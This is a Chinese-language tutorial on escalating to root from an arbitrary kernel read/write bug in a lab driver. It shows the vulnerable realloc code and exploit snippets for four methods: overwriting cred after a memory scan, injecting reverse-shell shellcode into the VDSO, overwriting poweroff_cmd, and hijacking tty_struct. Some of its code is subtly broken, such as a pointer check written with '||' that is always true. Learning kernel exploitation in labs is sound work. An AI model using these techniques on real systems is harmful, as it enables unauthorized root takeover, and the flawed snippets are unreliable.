linux内核提权系列教程(2):任意地址读写到提权的4种方法
字数 2190 2025-08-25 22:59:09
Linux内核提权教程:从任意地址读写到提权的4种方法
一、漏洞分析
1. 漏洞代码概述
本教程分析的漏洞存在于一个Linux内核驱动中,该驱动提供了以下功能:
- ARBITRARY_RW_INIT:初始化全局对象,分配指定大小的内存
- ARBITRARY_RW_REALLOC:重新分配内存大小(可扩展或缩小)
- ARBITRARY_RW_READ:从内存中读取数据
- ARBITRARY_RW_SEEK:设置读写位置
- ARBITRARY_RW_WRITE:向内存中写入数据
全局对象结构定义如下:
typedef struct mem_buffer {
size_t data_size;
char *data;
loff_t pos;
} mem_buffer;
2. 关键漏洞点
漏洞存在于realloc_mem_buffer()函数中:
static int realloc_mem_buffer(realloc_args *args) {
if (g_mem_buffer == NULL) return -EINVAL;
size_t new_size;
char *new_data;
if (args->grow)
new_size = g_mem_buffer->data_size + args->size;
else
new_size = g_mem_buffer->data_size - args->size;
new_data = krealloc(g_mem_buffer->data, new_size + 1, GFP_KERNEL);
if (new_data == NULL) return -ENOMEM;
g_mem_buffer->data = new_data;
g_mem_buffer->data_size = new_size;
return 0;
}
漏洞原因:
- 未检查
args->size的正负,可以传入负数 - 当传入特定负数时,可使
new_size变为-1 krealloc(0)会返回ZERO_SIZE_PTR(即0x10)- 最终
g_mem_buffer->data指向0x10,data_size为0xffffffffffffffff - 读写操作时只检查
(count + pos) < g_mem_buffer->data_size,导致任意地址读写
二、漏洞利用方法
方法1:修改cred结构提权
1. cred结构体分析
cred结构体表示线程的权限,前28字节包含UID/GID等信息:
struct cred {
atomic_t usage;
kuid_t uid; /* real UID */
kgid_t gid; /* real GID */
kuid_t suid; /* saved UID */
kgid_t sgid; /* saved GID */
kuid_t euid; /* effective UID */
kgid_t egid; /* effective GID */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
// ...
};
2. 利用步骤
- 设置标记:使用
prctl(PR_SET_NAME, "try2findmesauce")设置线程名 - 搜索cred:
- 爆破内核内存范围(0xffff880000000000~0xffffc80000000000)
- 查找标记字符串"try2findmesauce"
- 通过偏移找到cred结构体指针
- 修改cred:将cred结构前28字节写0
3. 关键代码
// 设置线程名
prctl(PR_SET_NAME, "try2findmesauce");
// 爆破搜索cred
for(size_t addr = START_ADDR; addr < END_ADDR; addr += 0x1000) {
read_mem(fd, addr, buf, 0x1000);
result = memmem(buf, 0x1000, target, 16);
if(result) {
cred = *(size_t*)(result - 0x8);
real_cred = *(size_t*)(result - 0x10);
if((cred || 0xff00000000000000) && (real_cred == cred)) {
// 找到cred地址
break;
}
}
}
// 修改cred提权
memset(root_cred, 0, 28);
write_mem(fd, cred, root_cred, 28);
方法2:劫持VDSO提权
1. VDSO简介
VDSO(Virtual Dynamic Shared Object)是内核映射到用户空间的内存区域,用于加速系统调用。特点:
- 内核态可读可写
- 用户态可读可执行
- 地址范围:0xffffffff80000000~0xffffffffffffefff
2. 利用步骤
- 获取VDSO地址:爆破或通过
getauxval(AT_SYSINFO_EHDR) - 修改VDSO:
- 劫持
task_prctl为set_memory_rw - 修改VDSO为可写属性
- 注入shellcode(通常放在
gettimeofday附近)
- 劫持
- 触发shellcode:通过不断调用
gettimeofday触发
3. Shellcode示例
反弹shell shellcode应:
- 检查当前进程是否为root(通过
getuid) - 如果是root则创建反弹shell
- 非root进程继续正常执行
4. 关键代码
// 查找VDSO中的gettimeofday偏移
unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
result = memmem(sysinfo_ehdr, 0x1000, "gettimeofday", 12);
// 写入shellcode
write_mem(fd, vdso_addr + offset, shellcode, sizeof(shellcode));
// 触发shellcode的进程
while(1) {
gettimeofday();
sleep(1);
}
方法3:利用call_usermodehelper提权
1. call_usermodehelper原理
call_usermodehelper允许内核直接执行用户空间程序,且具有root权限。可以劫持以下全局变量:
modprobe_path:默认为"/sbin/modprobe"poweroff_cmd:默认为"/sbin/poweroff"uevent_helper:默认为CONFIG_UEVENT_HELPER_PATHocfs2_hb_ctl_path:默认为"/sbin/ocfs2_hb_ctl"nfs_cache_getent_prog:默认为"/sbin/nfs_cache_getent"cltrack_prog:默认为"/sbin/nfsdcltrack"
2. 利用步骤(以poweroff_cmd为例)
- 获取任意读写能力:利用漏洞
- 泄露内核基址:通过VDSO地址计算
- 修改poweroff_cmd:指向恶意命令
- 触发执行:调用
__orderly_poweroff
3. 关键代码
// 修改poweroff_cmd
char *evil_cmd = "/bin/chmod 777 /flag\x00";
write_mem(fd, poweroff_cmd_addr, evil_cmd, strlen(evil_cmd)+1);
// 触发执行(通过劫持prctl等函数)
方法4:劫持tty_struct
1. 利用思路
- 劫持tty设备的操作函数表
- 通过write或ioctl操作触发shellcode
- 需要找到合适的gadget控制执行流
2. 关键技术点
- 寻找
mov rsp, rax或类似gadget - 构造ROP链或直接执行shellcode
- 通过tty操作触发漏洞
三、防御措施
- 输入验证:严格检查用户传入的参数范围
- 内存保护:
- 启用KASLR
- 启用SMEP/SMAP
- 权限控制:
- 限制敏感全局变量的修改
- 使用capabilities细化权限
- 代码审计:
- 检查所有内存分配操作
- 验证指针使用前是否有效
四、实验环境搭建
实验所需文件:
- 驱动源码
- bzImage(内核镜像)
- cpio文件(根文件系统)
可从作者GitHub获取完整实验环境。
五、总结
本教程详细分析了从任意地址读写漏洞到提权的四种方法:
- 直接修改cred结构体
- 劫持VDSO注入shellcode
- 利用call_usermodehelper执行命令
- 劫持tty_struct控制执行流
每种方法各有优缺点,实际利用中需根据目标环境选择最合适的方式。理解这些技术有助于更好地防御内核提权攻击。